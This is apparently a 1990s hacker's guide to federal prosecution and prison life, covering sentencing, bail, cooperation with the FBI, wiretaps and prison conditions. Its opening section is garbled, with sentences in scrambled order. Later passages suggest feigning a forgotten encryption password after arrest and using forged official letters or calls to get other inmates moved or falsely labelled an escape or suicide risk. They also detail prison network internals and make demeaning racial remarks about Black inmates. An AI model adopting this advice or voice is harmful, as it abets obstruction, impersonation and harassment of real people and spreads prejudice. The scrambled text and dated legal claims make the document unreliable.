sentence. Do not rely on your public defender to thoroughly present your case. it will go a long way towards good plea bargain negotiations. II. a post conviction specialist will charge $5000 to $15. So much so that special law firms are forming that deal only with sentencing. Finding the proper one can be a difficult task. but considering the fact that the U. Each one could be a count but it's the loss that matters. fire them and hope you get appointed a better one. It doesn't matter if you tried to break in 10 times or 10. C. All of these are treated the same.000 times. it may be sage advice. Essentially it's a crap shoot. You and your defense team need to go into that hearing fully prepared. The government will quite simply add all of the estimated loss figures up. B.Regardless of whether you plea bargain to one count or 100. But essentially my advice would be to avoid signing away your right to appeal. you are most likely going to want to appeal. Once you get to a real prison with real jailhouse lawyers you will find out how bad you got screwed.S. plead out. then it can be used against you. As long as it appears that you were responsible.S.G. occasionally you'll find one that will fight for you.000. computer trespass. The United States Sentencing Guidelines (U. and have a strong case. having already filed a sentencing memorandum. If you have a strong trial attorney. It's simple. This may sound a little harsh. do your time. property theft. In some cases it might be wise to avoid hiring a trial attorney and go straight to one of these "Post Conviction Specialists. It also doesn't matter if you tried to break into one company's computer or 10. Your sentencing hearing is going to flash by so fast you'll walk out of the court room dizzy.

it's true. if you show remorse.S. This makes for a $10 million loss. Based on this basic scenario our dynamic duo would receive roughly three-year sentences. WA so Bill could come visit him. Later that day. Quite simply. Coupled with the $2 million from Apple. then one of them does something in furtherance of the objective (even something legal). if you went to trial. Neverthele ss. if you remember my two main points in addition to how the conspiracy law works. if any threats were used. CONSPIRACY Whatever happened to getting off on a technicality? I'm sorry to say those days are gone. I do feel that I have skipped over some significant issues. Paging Mr. then it's a crime. F. Marc does some legitimate research to find out what type of mainframe and operating system Apple uses. if you are highly trained and used your special skill. you'll be a long way ahead in protecting yourself. are the liberally worded conspiracy laws. Apple Computer Corporation estimates that if Bill and M arc would have been successful it would have resulted in a loss of $2 million. USE OF A SPECIAL SKILL . it could be used to increase his sentence. in complete detail. Bill and Marc go to trial and spend millions to defend themselves. if an elderly person was victimized. sentencing is complex and many factors can decrease or increase a sentence. Hello? Here's a hypothetical example to clarify this.S. credit card numbers and passwords = access devices). D. Marc is going away for about nine years. Fortunately there is a Federal Prison not too far from Redmond. etc. left only to the movies. E. Yes. They are both found guilty of conspiracy to commit unauthorized access to a computer system.G. The courts generally dismiss many arguments as "harmless error" or "the government acted in good faith". you can not sign away your right to appeal an illegal sentence. SENTENCING At this point it is up to the probation department to prepare a report for the court. They talk about hacking into Apple's mainframe and erasing the prototype of the new Apple Web Browser. Even if the FBI does not charge him with this. the Feds raid Marc's house and seize everything that has wires. if any weapons were used. whether or not you were on probation at the time of the offense. mention that you can appeal some issues even though you signed away your rights to appeal. Generally the government places a $200-per-account attempted loss on things of this nature (i. if you cooperated with the authorities. I will close this subpart with a prison joke. This is the figure the court will use. It would be beyond the scope of this article to cover the U. Let's say that the FBI also found a file on Marc's computer with 50. and surely the root of the prosecutions success. In America it's illegal to simply talk about committing a crime. if you took advantage of your employment position. and Marc A. if two or more people plan to do something illegal. These are just some of the many factors that could either increase or decrease a sentence. how big your role in the offense was. are hackers (can you imagine?) Bill and Marc are talking on the phone and unbeknownst to them the FBI is recording the call. As I mentioned. It is their responsibility to calculate the loss and identify any aggravating or mitigating circumstances.e.I should however. mental disabilities. Some of the other factors to be used in the calculation of a sentence might include the following: past criminal record. For example. Orwell. if your name is Kevin Mitnick (heh).000 unauthorized account numbers and passwords to The Microsoft Network. If the judge orders something that is not permissible by statute. The most alarming trend. Bill G. The next morning. Q: How can you tell when your attorney is lying? A: You can see his lips moving. you then have a constitutional right to appeal your sentence. usually the latter.

You have pending charges in another jurisdiction.S. In my case it added eight months to my 33-month sentence bringing it to 41 months. . came into effect in 1987 in an attempt to eliminate disparity in sentencing. .. Defendants with similar crimes and similar backgrounds would often receive different sentences. H. are indeed a failure.Your sentence will be long if convicted. the United States Court of Appeals held that some computer hackers may qualify for the special skill enhancement. you must meet the following criteri a: .You must be gainfully employed or have family ties to the area. County jails are typically the last place you would want to be.S.You must be a resident of the jurisdiction in which you were arrested. 98 F. The moral of the story is that the government will find ways to give you as much time as they want to. this practice still continues.G. FEDERAL CHARGES In some cases you will be facing state charges with the possibility of the Feds "picking them up. More on this later. v Petersen. Granted Federal Prisons can be violent too." You may even be able to nudge the Feds into indicting you. GETTING BAIL In the past. 9th Cir. then the enhancement applies. Unfortunately. What this generally means is a 6 to 24 month increase in a sentence. Essentially the court stated that since I used my "sophisticated" hacking skills towards a legitimate end as a computer security consultant. .3d. The U.S. Now you're in jail. This is a tough decision. Presently this method will be the exception rather than the rule and it is more likely that you will be taken into custody at the time of the raid. The U. the Feds might simply have executed their raid and then left without arresting you. .You have a prior criminal history. but will face a tougher crowd and conditions in prison. It's ironic that if I were to have remained strictly a criminal hacker then I would have served less time. In addition.You cannot have a history of failure to appear or escape. more specifically you are either in an administrative holding facility or a county jail that has a contract with the Feds to hold their prisoners. Pray that you are in a large enough city to justify its own Federal Detention Center.S. Chances are also good that you will not be released on bail.You cannot be considered a danger or threat to the community. . . In U. What results from all this "bail reform" is that only about 20% of persons arrested make bail. STATE VS.Someone came forward and stated to the court that you said you would flee if released. G. but generally as a non-violent white collar criminal you will eventually be placed into an environment with other low security inmates.S. On top of that it takes 1-3 weeks to process your bail papers when property is involved in securing your bond. If they can find any reason to deny you bail they will. With the state you will do considerably less time. 502. . your bail can be denied for the following reasons: . In order to qualify for bail.G.The only specific "sentencing enhancement" I would like to cover would be one that I am responsible for setting a precedent with. This is part of the government's plan to break you down and win their case.

When you sign the cooperation agreement there are no set promises as to how much of a sentence reduction you will receive. this is not the time. there is nothing you can say that will help you. etc. My only advice would be to save your close friends and family. being debriefed or interrogated by the Feds can be an ordeal in itself. Many of you probably know that I (Agent Steal) went to work for the FBI after I was arrested. First at your residence and. they'll get thrown in the hole. in some situations it is just plain stupid. they will take you back to their offices for an extended chat and a cup of coffee. Most people. that we will see many more of these types of arrangements in the future. This is obviously a controversial subject. It's something that needs careful consideration." This is a noble stance to take. . they will be left in segregation (the hole). save your friends then do what you have to do to get out of prison and on with your life." It's no secret that the first defendant in a conspiracy is usually going to get the best deal. experience. I was responsible for teaching several agents about hacking and the culture. It's entirely up to the judge. It is to pr otect the prison from a lawsuit should the inmate get injured. will tell you not to cooperate. you will remain as a "pretrial inmate" in general population with other inmates. Like I said. If someone acts up. Nothing. mostly due to their passive negligence and lack of experience in dealing with hackers. They just want you to plead guilty. I. I would -highlyreccommend reading up on interrogation techniques ahead of time. I'm happy to say that I was able to avoid involving my good friends and a former employer in the massive investigation that surrounded my case. Saving someone's ass who would easily do the same to you is a tough call. Not many people want to do 10 to 20 years to save their buddies' hides when they could be doing 3 to 5. That is why I was given that opportunity. Some of the other inmates will be predatorial but the Feds do not tolerate much nonsense. Regardless of what the situation is. If they continue to pose a threat to the inmate population. On some occasions the government will trick you into thinking they want you to cooperate when they are not really interested in anything you have to say. If you make any mistakes they will renege on the deal and you'll get nothing. the prosecution makes the recommendation and the judge generally goes along with it. It wasn't easy. They no longer need hackers to show them the ropes or the latest security hole. When you make a deal with the government you're making a deal with the devil himself. As you can see. cooperating is a tricky business. Once you know their methods it will be all quite transparent to you and the debriefing goes much more smoothly. Anyone else is fair game. and undercover agents within the community. In fact. This isn't really to protect the inmate. In the prison system the blacks have a saying "Getting down first. I had to walk a fine line. and at the time of sentencing. if the prosecution does not motion the court for your "downward departure" the courts' hands are tied and you get no break. Even if you know that you are going to cooperate. The government in general now has their own resources. This trend stems from the extremely long sentences the Feds are handing out these days. What many of you don't know is that I had close FBI ties prior to my arrest. if you appear to be talkative. I was involved in hacking for over 15 years and had worked as a comp uter security consultant.Until you are sentenced. However. but the fact of the matter is roughly 80% of all defendants eventually confess and implicate others. COOPERATING Naturally when you are first arrested the suits will want to talk to you. However. or how you plan to proceed. That is to be decided after your testimony. I've even seen situations where the big fish turned in all his little fish and eceived 40% off his sentence. Incidently. This is a decision each individual needs to make. Our relationship ran afoul. Occasionally inmates that are at risk or that have been threatened will be placed in segregation. My advice at this point is tried and true and we've all heard it before: remain silent and ask to speak with an attorney. particularly those who have never spent a day in jail. "Don't snitch. It is unlikely however.

cases. PC is anything that gives him an inkling to believe you we re committing a crime. SEARCH AND SEIZURE There is a document entitled "Federal Guidelines For Searching And Seizing Computers. Regardless. that he had published in Phrack magazine. a last resort if you will. Even if he wanted to roll over." then obtain a search warrant to seize the evidence on your computer. in general. L. If we are talking about a data tap. how to bust computer hackers. K. It was an egg in the face day for the Secret Service. The government learned a lot from this fiasco and even with the laudable support from the EFF. formatted. be permissible and legal tomorrow. It's a daunting task and usually reserved for only the highest profile cases. There is a provision in the Sentencing Guidelines. typically you will not qualify for this "acceptance of responsibility" and your sentence will be longer. decompressed. He's just too big of a fish. they will take that route. Kevin Mitnick would be a good example of this. that knocks a little bit of time off if you confess to your crime.1.Nevertheless. They have to lease lines from the phone company. Craig won his case when it was discovered that the manual in question. I doubt it would get him much. you may qualify for a sentence reduction. Ba da boom. protocoled. Usually it's around 35% to 50%. Wiretaps are also expensive to operate. Craig narrowly thwarted off a conviction. I don't know what they hate worse though. My final advice in this matter is get the deal in writing before you start cooperating. like the service provider or victim. ba da busted. a complete treatment of this subject is beyond the scope of this paper. etc. SURVEILLANCE AND WIRETAPS Fortunately the Feds still have to show a little restraint when wielding their wiretaps. They play dirty and will do just about anything. J. plead guilty and show remorse. deciphered. The Feds also like it when you "come clean" and accept responsibility. If the Feds can seize the data from any other so urce. asking for outside help or wasting valuable internal resources. The typical range is 20% to 70%. If you go to trial. But suffice it to say if a Federal agent wants to walk right into your bedroom and seize all of your computer equipment without a warrant he could do it by simply saying he had probable cause (PC). was not proprietary as claimed but available publicly from AT&T. there are additional costs. It's an intriguing collection of tips. STILL THINKING ABOUT TRIAL Many hackers may remember the Craig Neidorf case over the famous 911 System Operation documents. Don't be misled by this. . It's recommended reading. through some convoluted Supreme Court logic. Search and seizure is an ever evolving jurisprudence. if you are in the position to tell the Feds something they don't know and help them build a case against someone. Expensive interception/translation equipment must be in place to negotiate the various modem speeds. What's not permissible today may. Th e point I'm trying to make is that it's tough to beat the Feds. If you want to really win you need to know how they build a case in the first place. to win their case. too much media. Police have been known to find PC to search a car when the trunk sat too low to the ground or the high beams were always on. 3E1. including lie. Sometimes you may find yourself at the end of the prosecutorial food chain and the government will not let you cooperate. it was a trying experience (no pun intended) for him and his attorneys. mistakes and. Again. Then the data has to be stored. It requires a court order and they have to show that there is no other way to obtain the information they seek." It first came to my attention when it was published in the 12-21-94 edition of the Criminal Law Reporter by the Bureau of National Affairs (Cite as 56 CRL 2023 ) . pay agents to monitor it 24 hours a day and then transcribe it. The simplest method is to enlist the help of an informant who will testify "I saw him do it!.

" Get the picture? J. They like late model mid-sized American cars." Truer words were never spoken. Here's an example: P. So I think I'll stop here. This can be done on the switching system level or via a billing database search. If you really want to know if you're under surveillance." (legal humor) I'd love to tell you more about FBI wiretaps but this is as far as I can go without pissing them off. I can't stress how important it is to fully understand the criminal justice system. with no decals or bumper stickers. (hacker humor) In closing this subpart I will say that most electronic surveillance is backed up with at least part-time physical surveillance. very stock. The phone companies keep racks of them at their security departments. Every little dirty scrap of information that makes you look like a sociopathic. or trap and trace. If you really want to know more. is typically any method the phone company uses to log every number that calls a particular number. loathsome criminal will be included in this report. Mr. in theory. Naturally that would be a "harmless error while acting in good faith. Steal: I am preparing to enroll in my final year of college. both incoming and outgoing. you probably have a problem. or you continue to hear intermittent static (encrypted speech). They'll put a few negative things in there as well. offense characteristics plus more will be included in this voluminous and painfully detailed report about your life. buy him a Coke and he'll give you an earful. Hide it on your person. An educated client's help can be of enormous benefit to an attorney. They may think you're a pain in the ass but it's your life. They can place one on your line within a day if they feel you are defrauding them. representing yourself is generally a mistake. Take a hold of it.: Tell me about your education and what you like to do in your spare time. However. is empowered by the court to prepare a complete and. In my spare time I work for charity helping orphan children. The PSR then reads "Mr. Quite the contrary. criminal history. The P. but the Feds do. Steal has never completed his education and hangs around with little children in his spare time.O. The Feds need a court order for this information too. psychological behavior. I've heard stories of cooperative telco security investigations passing the information along to an agent. Have your attorney present and think about how what you say can be used against you. M. . Everything from education. unbiased profile of the defendant. My advice is simple. They don't need a court order. The Feds are often good at following people around. A famous lawyer once said "a man that represents himself has a fool for a client. However. catch Kevin Poulsen (Dark Dante ) at a cocktail party. Even if you have a great attorney it's good to be able to keep an eye on him or even help out.Other devices include a pen register which is a device that logs every digit you dial on your phone and the length of the calls. Be careful what you tell them. If you he ar people talking about you. This has absolutely nothing to do with getting probation. buy an Opto-electronics Scout or Xplorer frequency counter. YOUR PRESENTENCE INVESTIGATION REPORT. Regardless. PROCEEDING PRO SE Pro Se or Pro Per is when a defendant represents himself. PSI OR PSR After you plead guilty you will be dragged from the quiet and comfort of your prison cell to meet with a probation officer. Everything I've told you thus far is public knowledge. demon worshiping.O. A trap. stick an ear plug in your ear (for the Xplorer) and take it everywhere you go.

Of course who's to say otherwise if you forgot your password in all the excitement of getting arrested. Second would be the Georgetown Law Journal. your halfway house. But I digress.00) are available from West Publishing at 800-328-9 352. One important thing to know is that your PSR will follow you the whole time you are incarcerated. Many Federal inmates have their state time run with their Federal time. First the Federal Sentencing Guidelines ($14. I consider possession of these books to be mandatory for any pretrial inmate. Tell him you need it for your job. you will be transported to the appropriate jurisdiction. the charges will have to be dropped. your eligibility for the drug program (which gives you a year off your sentence) . The Bureau of Prisons uses the PSR to decide how to handle you. they would just as soon keep it and not asking for it is as good as telling them they can have it. ENCRYPTION There are probably a few of you out there saying." Well.. This procedure is referred to as the Interstate Agreement On Detainers Act (IADA). EVIDENTIARY HEARING If you disagree with some of the information presented in the presentence report (PSR) you may be entitled to a special hearing. "The Prisoners Self Help Litigation Manual" $29. that's just great. The book sells for around $40. You may also file a "demand for speedy trial". GETTING YOUR PROPERTY BACK In most cases it will be necessary to formally ask the court to have your property returned. This should suffice. plead guilty and have your "time run concurrent.00) and Federal Criminal Codes and Rules ($20. available from Georgetown University Bookstore in Washington. just send a formal letter to the judge asking for it back. You will need to file a 41(e) "Motion For Return Of Property. At this point there are legal avenues.However.00 but if you write them a letter and tell them you're a Pro Se litigant they will send it for free.com/books/n148.. This can affect your security level. This can be instrumental in lowering your sentence or correcting your PSR. for post-conviction relief. OUTSTANDING WARRANTS If you have an outstanding warrant or charges pending in another jurisdiction you would be wise to deal with them as soon as possible -after. or you have run out of funds. DC. If you don't know how to write a motion. "I triple DES encrypt my hard drive and 128 character RSA public key it for safety. I think I heard this . R. This starts the meter running. Q. And last but not least the definitive Pro Se authority. with the appropriate court. In the worst case scenario. If they don't extradite you within a certain period of time . The best place to start in understanding the legal system lies in three inexpensive books.htm O. but.you are sentenced. but there may be a filing fee. So make sure your PSR is accurate before you get sentenced! P. If you follow the correct procedure chances are good the warrants will be dropped (quashed). after your appeal. They may not care and the judge will simply order that it be returned. consecutive bad." The courts' authority to keep your stuff is not always clear and will have to be taken on a case-by-case basis. the Feds can have a grand jury subpoena your passwords and if you don't give them up you may be charged with obstruction of justice." Typically in non-violent crimes you can serve several sentences all at the same time. Or try http://www. you will be forced to handle matters yourself. In a nutshell: concurrent is good.oceanalaw. when your court appointed attorney runs out on you. although quite bleak.and your medical care. They are not going to just call you up and say "Do you want this Sparc Station back or what?" No. The "Inmates' Self-Help Litigation Manual" that I mentioned earlier covers this topic quite well.95 ISBN 0-379-20831-8.

it would be foolish to rely on it. You're going to get busted. As a rule. However.once or twice before in a Senate Sub-committee hearing. not get out on bail. LEGAL SUMMARY Before I move on to the Life in Prison subpart. Let's take a look at some recent sentences: Agent Steal (me) 41 months Kevin Poulsen 51 months Minor Threat 70 months Kevin Mitnick estimated 7-9 years As you can see. If you understand the true art of code breaking you should understand this. the Feds are giving out some time now. Sound fun? Keep hacking. That way the government has a firm loss figure. the Feds won't take the case unless $10. we promptly took our system off-line. but the stakes for hackers have gone up and you need to know what they are. if possible." In some cases you might be better off just using the company's payroll system to cut you a couple of $10. The public seems to think that prisons are too comfortable and as a result Congress has passed a few bills to toughen things up. STATE v. The problem is who is to say what the loss is? The company can say whatever figure it likes and it would be t ough to prove otherwise. "When we detected the intruder. It took us two weeks to bring it up again for a loss in wasted manpower of $2 million. and were just looking around in some little company's database.FEDERAL PRISON A. Federal prisons are generally going to be somewhat less crowded. a first-time offender. If the Feds have your computer and access to your encryption software itself. Some state prisons are such violent and pathetic places that it's worth doing a little more time in the Federal system. for insurance purposes. rolling hills. "Senator.000 in damages are involved. unsophisticated (like MOD). People often overlook the fact that your password. the one you use to access your encryption program. you might get probation. I'm not advocating blatant criminal actions. This would result in a much shorter sentence. cleaner. encryption may not protect you. let me tell you what this all means.gov sites. I just think the sentencing guidelines definitely need some work.000 checks. But chances are that if that is all you were doing. "I was in more books and newspapers. get even more time than you expected and have to put up with a bu nch of idiots in prison. work on those sensitive . As I sit here just prior to release scribbling this article with pen and paper I yearn for even a . I can hear it now. The prison I was at looked a lot like a college campus with plenty of grass and trees. lose everything you own. I have no recollection of the aforementioned events at this time. I know this may all sound a bit bleak. and more laid back. "My sentence was longer. That will carry about 12 to 18 years for a first time offender. is typically less than 8 characters long. S. We would argue over who was more elite. This is going to be changing however. you would have been passed over for prosecution." I would rebut. blame some huge downtime expense on you." But seriously. I spent most of my time in the library hanging out with Minor Threat. FEDERAL In most cases I would say that doing time in a Federal Prison is better than doing time in the state institutions. strong encryption is great. it is likely they could break it gi ven the motivation. and stucco buildings. Just remember. By attacking the access to your encryption program with a keyboard emulation sequencer your triple DES/128 bit RSA crypto is worthless. They may decide to. That way they can hang an espionage rap on you. And." he would argue. (humor) Exceptions to the Fed is better rule would be states that permit televisions and word processors in your cell. If you are young. snitch on your enemies. PART II .

divided by fences. There are also states that are abolishing parole. Unfortunately. or FPC. Gotti. they take on an ominous appearance. however. In my case I wasn't allowed to be within 10 feet of one. about one or two a year leave on a stretcher and don't come back. SECURITY LEVELS The Bureau of Prisons (BOP) has six security levels. Still. spies and the roughest gang bangers. the BOP uses PC/Server based LANs with NetWare 4. The shower is on wheels and it comes to your door. You could wind up someplace where everything gets stolen from you. remains in Supermax.S. As a computer hacker you will most likely be placed in a camp or a low FCI. it can be interpreted a number of different ways. There is a manual called the "Custody and Classification Manual" that they are supposed to follow. More razor wire. Again you will find mostly non-violent types here. Generally speaking. The United States Penatentury (U. It's also common to find people with 20 or 30+ year sentences. These are where you find a lot of people who should be in a camp but for some technical reason didn't qualify. As a result. Your work assignment at a camp is usually off the prison grounds at a nearby military base. restricted movement and a rougher crowd. Incidentally. the spy. There is a double fence with razor wire surrounding it. .Smith Corona with one line display. "Leavenworth" and "Atlanta" are the most infamous of these joints. You rarely see other humans and if you do leave your cell you will be handcuffed and have at least a three guard escort. PC based gateways reside a t every prison. Other times camps operate as support for other nearby prisons. the BOP has to figure out what they want to do with you.P. Camps have no fences. Mr.you do wind up in an FCI.1 running on Fiber 10baseT Ethernet connections to Cabletron switches and hubs. This is assuming you weren't pulling bank jobs on the side. The states have varying privileges. This means you will not be allowed to operate a computer at your prison work assignment. sometimes referred to as "Supermax. Moving up again we get to medium and high FCI's which are often combined. non-violent offenders with less than 10 year sentences there. The highest security level in the system is Max. Another thing the Region Designator will do is to place a "Computer No" on your file. -IF. The lowest level facility is called a minimum. Traditionally surrounded by a 40 foot brick wall. they are essentially separate prisons.) is where you find the murderers. you should make it to a camp after six months. That is what the Feds did. rapists. So does Aldridge Ames. Your mail is shown to you over a TV screen in your cell. With a prison population of 1500-2000. You would really have to piss someone off before they would take a swing at you. It is publicly available through the Freedom of Information Act and it is also in most prison law libraries. B. Prisons are assigned a security level and only prisoners with the appropriate ratings are housed there. the Mafia boss. and people generally leave you alone. This is assuming you behave yourself. C. GETTING DESIGNATED Once you are sentenced. The next level up is a low Federal Correctional Institution (FCI). most prison officials responsible for classifying you do pretty much as they please. Fighting is much more common. Your first classification is done by the Region Designator at BOP Regional Headquarters. Often the BOP will have two or three facilities at one location. The murder rate per prison averages about 30 per year with well over 250 stabbings. Keep to yourself." Max custody inmates are locked down all the time. a camp. Killings are not too terribly common. more guards. you will find first time. thus taking away the ability to get out early with good behavior. It was explained to me that they didn't even want me to know the types of software they were running.

C. they will move him or loc k him away in segregation. It used to be a place for the criminal elite. but this is not a tutorial on how to hack the BOP. It's my understanding. usually when I received something esoteric in nature. . D. Social engineered letters (official looking) or phone calls from the right source to the right department will often evoke brisk action. The next most common would be bank robbery (usually for quick drug money). particularly an intelligent man. The remaining 10% are various other races. In terms of crimes. I went out of my way not to be interested in their systems or to receive computer security related mail. or had pending charges. too dumb to do anything except crime. D. It's also quite simple to make an inmates life quite miserable. Nevertheless.The connection to the IBM mainframe (Sentry) is done through leased lines via Sprintnet's Frame Relay service with 3270 emulation software/hardware resident on the local servers. then various white collar crimes. The tough drug laws have changed all of that. Chances are you won't have many troubles in prison. Some joints have a high percent of blacks and vice versa. BOP computer security is very lax. they decided I was probably going to behave myself.-) And I picked all of this up without even trying to. After I filed numerous grievances and had a meeting with the warden. . I don't want to give away my methods but if staff believes that an inmate is going to cause trouble. they will handle them much differently. however. an d occasionally these inmates will try to get over on you. Sentry resides in Washington. It is also important to have someone outside (preferably another hacker) that can do some social engineering for you. or if they believe his life is in danger. They will do this for no reason other than the fact you are an easy mark. (humor) Not surprisingly. Tacking these labels on an inmate would be a real nasty trick. but prisons where blacks are in majority are a nightmare." In deed. I suppose that is why they are there. don't make threats. In fact they will often demand it. a suicide threat. I'm not necessarily a prejudiced person. If the BOP has reason to be lieve that an inmate is an escape risk. with SNA type network con centrators at the regional offices. 30% Hispanic and 30% black. mind your own business. I have a saying: "Hackers usually have the last word in arguments. POPULATION The distribution of blacks. 60% of the Federal inmate population are incarcerated for drug related crimes. This especially applies if you go to a camp. and trying to run the place is par for the course. These are the same people that condemn everyone who cooperated. And one last piece of advice. the BOP is very paranoid about computer hackers. They have other networks as well. disrespectful. I've covered all of this in the event you find yourself caught up in the ignorant behavior of inmates whose lives revolve around prison. Just do it. and watch your mouth. And for some strange reason these uneducated low class common thieves think they deserve your respect. they tried restricting my mail on numerous occasions. There are a few tricks hackers can do to protect themselves in prison. The Federal prison population has changed over the years. Many of their publicly available "Program Statements" contain specific information on how to use Sentry and wha t it's designed to do. The key to your success is acting before the problem escalates. The objective is simply to have your problem inmate moved to another institution. IGNORANT INMATES You will meet some of the stupidest people on the planet in prison. Despite all of that I still had occasional problems. after a special screening. Needless to say. I'll save that for if they ever really piss me off. Overall it works out to roughly 30% white. E. These are the types of inmates you will be incarcerated with. truly stupid people are too stupid to fear anything. whites and Hispanics varies from institution to institution. Acting loud. My 20 or so magazine subscriptions were permitted to come in. that many hackers at other prisons have not been as fortunate as I was. while at the same time feel it is fine to break into your house or rob a store at gunpoint. Nevertheless.

all because some senator wanted to be seen as being tough on crime. but once I made it clear that I didn't swing that way I would be left alone. Most prison arguments occur over three simple things: the phone. and a better person on top of it. I'm happy to say the only "shots" (violations) I ever received were for having a friend place a call with his three-way calling for me (you can't call everyone collect). Essentially what I'm saying is make something out of your time. 206-328-2875. If you find yourself having trouble in this area you may want to pick up t he book. I'm going to cover the topic of prison rape. I would occasionally have inmates that would subtly ask me questions to see where my preferences lie. by Alan Parmelee. the prison band program was still in operation. and getting thrown in the hole." Indeed. They serve only to punish and conditions are only going to worsen. and unproductive inmates are being released back into society. And always. In the highs it rarely happens. Indeed. the TV and money/drugs. Regardless. Some people sit around and do dope all day. "You can't make no inmate suck cock that don't wanta. If someone steps out of line there will likely be another inmate who will be happy to knock him back. The cable TV is gone. It really helped pass the time and when I get out I will continue with my career in music. "How to win prison disciplinary hearings". DOING TIME You can make what you want to out of prison. uneducated. I never felt in any danger. loss of commissary. or Federal for that matter. When it does happen. I heard an inmate say once. and drinking homemade wine. Many of us heard how Bernie S. G. My final piece of prison etiquette advice would be to never take your inmate problems to "the man" (prison staff). one could argue that the victim was asking for it. be respectful. and the weight piles are being removed. I played drums for two different prison bands. H. prisons are no longer a place of rehabilitation. don't use the phone too long. don't change the channel and don't get involved in gambling or drugs. The effect is that angry. Shots can also increase your security level and can get you transferred to a higher level institution. state prisons can be a hostile environment for rape and fighting in general. say excuse me. Now the program has been canceled. Even if the guy is a fucking idiot (and most inmates are). I got hit on more often when I was hanging out in Hollywood! On the other hand. If you want to stay out of trouble in a state prison. I studied technology and music. Others immerse themselves in a routine of work and exercise. got beat up over use of the phone. Hell. always. ADMINISTRATIVE REMEDY . Th e rules are set by the prisoners themselves. |-) The prison occasionally monitors your phone calls and on the seven or eight hundredth time I made a three-way I got caught. As far as rape goes. My punishment was ten hours of extra duty (cleaning up). Other punishments for shots include loss of phone use. Quite simply. Despite the fact that most everyone in prison snitched on their co-defendants at trial. I should close this paragraph by stating that this bit of etiquette is routinely ignored as other inmates will snitch on you for any reason whatsoever. DISCIPLINARY ACTIONS What fun is it if you go to prison and don't get into some mischief? Well. While I was incarcerated in 95/96. Study. and so more guards will have to be hired to watch the prisoners.Just to quell the rumors. Prison is a strange environment. in medium and low security level Federal prisons it is unheard of. In my 41 months of incarceration. there is no excuse for being a prison rat. In some prisons inmates are so afraid of being labeled a rat that they refuse to be seen talking alone with a prison staff member. Bills were passed in Congress. pornography mags are no longer permitted. loss of visits. pick your friends carefully and stick with them. F. I don't want to get started on this subject. All this means is that prisoners will have m ore spare time on their hands. get into a routine and before you know you 'll be going home. I had to get busy a couple of times.

this could be a disadvantage. They don't get anywhere by being nice to inmates so they are often quite curt. Again. If you have received a lot of bad press. Typically you will find staff that are either just doing their job. you're not in cyberspace anymore. don't file grievances against them and hope that they will take care of you when it comes time.If you have a disagreement with the way staff is handling your case (and you will) or another complaint. It's especially helpful if you have outsi de people willing to make calls. all three of my attorneys. It's all a rather bizarre environment where everyone seems to hate the ir jobs. I guess I've led a sheltered life. sometimes there will be certain staff members. Usually if you "got it coming" you will get it. don't rock the boat. All in all they're a pain in the ass but easy to deal with. My best advice with this remedy nonsense is to keep your request brief. Incidently. like disrupting the BOP's entire communication system bringing it crashing down! But. dumb and dumber. If you care continues to be a problem. So until some hacker shows the BOP which end is up you will have to accept the fact most everyone you meet in prison will have only nominal respect for you. In some extreme cases you may take your case directly to the courts without exhausting the remedy process. In the past I might have resorted to hacker tactics. or staff that is determined to advance their career. The hole is a 6' x 10' concrete room with a steel bed and steel toilet. most BOP officials and inmates have no concept of the kind of havoc a hacker can wield on an individuals life. Before I move on. And the concept of you someday having a great job and being successful bothers them. my judge and the ACLU. If this doesn't seem to work. THE HOLE Segregation sucks. I. Then you can file a form BP-9. The best way to deal with the person is to stay out of their way. Your privileges will vary. Strong media attention will usually.. If you are a pretentious articulate educated white boy like myself you would be wise to act a little stupid. If they don't know you by name you're in good shape. they will. at the very least. Be polite. For this reason I often took my problems outside the prison from the start. After that you can file a BP-10 which goes to the region. like your Case Manager. First you must try to resolve it informally. but at first you get nothing . alas I'm a man of principle and if you deprive me of my rights I'm going to raise hell.I'm rehabilitated now. Finally. J. you may file your action in a civil court. Sometimes you will wind up there because of what someone else did. My advice is that unless you are really getting screwed over or really hate the prison you are in. Anyone who has ever been down (incarcerated) for awhile knows it's best to keep a low profile. or if the BOP can find any reason to deny your request. The BP-9 goes to the warden. The latter take their jobs and themselves way too seriously.. Deal with it. The whole procedure is a joke and takes about six months to complete. there is an administrative remedy procedure. that will have a substantial amount of control over your situation. Ex-military and law enforcement wannabes are commonplace. Many dislike all inmates to begin with. concise and only ask for one specific thing per form. After you c omplete the remedy process to no avail. the pr ison will transfer you to another facility where you are more likely to get a break. the director of the BOP. clear. If you don't. But. I've had respect for several but I've never met one that impressed me as being particularly talented in a way other than following orders. All in all how you choose to deal with staff is often a difficult decision. make the prison do what they are supposed to do. It always pisse d them off. Often this worked. the "Prisoners Self-Help Litigation Manual" covers this qu ite well. a BP-11 goes to the National BOP Headquarters (Central Office). One of the problems that computer hackers will encounter with prison staff is fear and/or resentment. These people don't want to respect yo u and some of them will hate everything that you stand for. PRISON OFFICIALS There are two types. then you need to be a total pain in the ass and ride them with every possible request you can muster. If it was a substantial enough issue I would inform the media. Delay and conquer is the BOP motto. but chances are you will find yourself there at some point and usually for the most ridiculous of reasons.

The BOP has come up with the most complicated and ridiculous way to calculate how much good time you have earned. after you are released from prison or the CCC. in practice it serves no other purpose that to punish and limit a former hacker's ability t o support himself. If you come up dirty it's back to the joint. and virtually everywhere. While this may sound pragmatic to the public. It depends on the shot and on the Lieutenant that sent you there. But with any luck you will be assigned a reasonable P.). If you're a good little hacker you'll get a weekend pass so you can stay out all night. K.. Despite this they still want to keep tabs on you for awhile. or possession of computer equipment may be restricted. (if they approve it) but still have to be in for the evenings.but a shower every couple of days. and you will stay out of trouble. There is nothing to do there except read and hopefully some guard has been kind enough to throw you some old novel. copy shops. you are to find a job in the communit y and spend your evenings and nights at the CCC. SUPERVISED RELEASE Just when you think the fun is all over. They will breathalyse and urinanalyse you routinely to make sure you are not having too much fun. unless you are a rare Federal prisoner sentenced to serve all of your time at the CCC in which case it is 1 0%. GOOD TIME You get 54 days per year off of your sentence for good behavior. I studied the book intensely and came to the conclusion that the only purpose it serves is to covertly steal a few days of good time from you. Sometimes people never leave the hole. As a hacker you may find that your access to work with. With no snacks you often find yourself quite hungry in-between meals. Go figure. You may also be able to have . you may find the reins loosening up. At the CCC. If you give your P. it's never enough. All of your activities will have to be presented to your Probation Officer (P.. They check up on you by phone.O. You have to give 25% of the gross amount of your check to the CCC to pay for all of your expenses. They have a book about three inches thick that discusses how to calculate your exact release date. 54 days a year works out to 15% and you have to do something significant to justify getting that taken away. Most CCCs will transfer you to home confinement status after a few weeks. And probation is essentially what Supervised Release is. As you probably know a phone and a little social engineering go a long way. If anyone tells you that a bill is going to be passed to give 108 days. you will be required to report to a Probation Officer. and it's often cold. This means you can move into your own 